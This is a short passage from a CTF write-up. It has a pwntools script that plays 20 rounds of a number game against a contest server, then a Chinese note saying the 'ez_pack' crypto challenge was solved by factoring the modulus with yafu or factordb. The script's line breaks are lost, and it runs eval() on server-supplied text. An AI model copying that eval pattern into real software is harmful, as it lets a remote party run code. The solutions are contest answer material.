from pwn import *# context.log_level = "debug"def solve(n, a): a.sort(reverse=True) a = [0] + a + [0] # print(a) for i in range(1, n + 1): if i + 1 > a[i + 1]: ret = sum(1 for j in range(i + 1, n + 1) if a[j] == i) # print(ret, i) if ret % 2 != 0 or (a[i] - i) % 2 != 0: return "First" else: return "Second" return None# p = remote("localhost", 10000)p = remote("47.76.71.50", 20009)for _ in range(20): res = p.recvuntil(b"Your answer: ").decode().replace("Your answer: ", "") res = res.split("\n") print(res[0].split(" = ")) n = int(res[0].split(" = ")[1]) arr = eval(res[1].split(" = ")[1]) p.send(solve(n, arr) + "\n") p.recvuntil("Next one!\n")print(p.recv(1024).decode())[Crypto] ez_pack
由于给的界太小了可以用yafu分解/使用factordb查到p,q。所以直接非预期。
格密码还在学后门应该会写这个题的revenge版。